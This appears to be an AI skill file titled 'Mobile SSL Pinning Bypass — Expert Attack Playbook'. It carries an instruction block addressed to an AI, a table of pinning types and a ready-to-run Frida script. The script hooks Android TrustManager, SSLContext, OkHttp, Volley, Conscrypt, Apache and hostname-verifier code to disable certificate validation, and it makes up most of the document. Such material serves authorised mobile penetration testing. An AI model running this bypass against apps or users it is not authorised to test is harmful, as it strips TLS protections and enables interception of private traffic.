mobile-ssl-pinning-bypass

SKILL: Mobile SSL Pinning Bypass — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert SSL pinning bypass techniques for mobile platforms. Covers Android and iOS bypass methods (Frida, Objection, Xposed, SSL Kill Switch), framework-specific bypasses (Flutter, React Native, Xamarin), and troubleshooting non-standard pinning implementations. Base models miss framework-specific hook points and multi-layer pinning configurations.

0. RELATED ROUTING

Before going deep, consider loading:

• android-pentesting-tricks for broader Android testing beyond SSL bypass
• ios-pentesting-tricks for broader iOS testing beyond SSL bypass
• api-sec once traffic is intercepted for API-level testing

---

1. SSL PINNING TYPES

Pinning Type	What Is Pinned	Resilience	Common In
Certificate pinning	Exact leaf certificate (DER/PEM)	Low (breaks on cert rotation)	Legacy apps
Public key pinning	Subject Public Key Info	Medium (survives cert renewal if key unchanged)	Modern apps
SPKI hash pinning	SHA-256 of SPKI	Medium (same as public key)	OkHttp, AFNetworking
CA pinning	Intermediate or root CA cert	High (any cert from that CA works)	Enterprise apps
Multi-pin (backup pins)	Primary + backup pins	High (fallback pins)	HPKP-aware apps

How Pinning Works

TLS Handshake
│
├── Server presents certificate chain
│
├── Standard validation (system trust store)
│   └── Passes? continue : connection fails
│
└── Pin validation (app-level check)
    ├── Extract server cert/pubkey/SPKI hash
    ├── Compare against embedded pins
    └── Match found? → allow : → reject connection

---

2. ANDROID BYPASS METHODS

2.1 Frida Universal SSL Bypass

// Hooks TrustManager, OkHttp, Volley, Retrofit, Conscrypt
Java.perform(function() {

    // ── TrustManagerImpl (Android system) ──
    try {
        var TMI = Java.use('com.android.org.conscrypt.TrustManagerImpl');
        TMI.verifyChain.implementation = function() {
            console.log('[Bypass] TrustManagerImpl.verifyChain');
            return arguments[0]; // return untouched chain
        };
    } catch(e) {}

    // ── X509TrustManager (custom implementations) ──
    var TrustManager = Java.registerClass({
        name: 'com.bypass.TrustManager',
        implements: [Java.use('javax.net.ssl.X509TrustManager')],
        methods: {
            checkClientTrusted: function() {},
            checkServerTrusted: function() {},
            getAcceptedIssuers: function() { return []; }
        }
    });

    var SSLContext = Java.use('javax.net.ssl.SSLContext');
    SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;',
        '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom')
        .implementation = function(km, tm, sr) {
        console.log('[Bypass] SSLContext.init');
        this.init(km, [TrustManager.$new()], sr);
    };

    // ── OkHttp3 CertificatePinner ──
    try {
        var CP = Java.use('okhttp3.CertificatePinner');
        CP.check.overload('java.lang.String', 'java.util.List').implementation = function() {
            console.log('[Bypass] OkHttp3 CertificatePinner.check: ' + arguments[0]);
        };
        // check$okhttp variant (OkHttp 4.x)
        try { CP['check$okhttp'].implementation = function() {}; } catch(e) {}
    } catch(e) {}

    // ── Retrofit / OkHttp interceptor ──
    try {
        var OkHttpClient = Java.use('okhttp3.OkHttpClient$Builder');
        OkHttpClient.certificatePinner.implementation = function(pinner) {
            console.log('[Bypass] OkHttpClient.Builder.certificatePinner');
            return this; // return builder without pinner
        };
    } catch(e) {}

    // ── Volley (HurlStack) ──
    try {
        var HurlStack = Java.use('com.android.volley.toolbox.HurlStack');
        HurlStack.createConnection.implementation = function(url) {
            console.log('[Bypass] Volley HurlStack: ' + url);
            var conn = this.createConnection(url);
            // Remove hostname verifier
            conn.setHostnameVerifier(Java.use(
                'javax.net.ssl.HttpsURLConnection').getDefaultHostnameVerifier());
            return conn;
        };
    } catch(e) {}

    // ── Conscrypt / BoringSSL (modern Android) ──
    try {
        var Conscrypt = Java.use('org.conscrypt.ConscryptFileDescriptorSocket');
        Conscrypt.verifyCertificateChain.implementation = function() {
            console.log('[Bypass] Conscrypt verifyCertificateChain');
        };
    } catch(e) {}

    // ── Apache HttpClient (legacy) ──
    try {
        var AbstractVerifier = Java.use('org.apache.http.conn.ssl.AbstractVerifier');
        AbstractVerifier.verify.overload('java.lang.String', '[Ljava.lang.String;',
            '[Ljava.lang.String;', 'boolean').implementation = function() {
            console.log('[Bypass] Apache AbstractVerifier');
        };
    } catch(e) {}

    // ── HostnameVerifier ──
    try {
        var HV = Java.use('javax.net.ssl.HttpsURLConnection');
        HV.setDefaultHostnameVerifier.implementation = function(v) {
            console.log('[Bypass] Ignoring custom HostnameVerifier');
        };
    } catch(e) {}

    console.log('[+] Android universal SSL bypass loaded');
});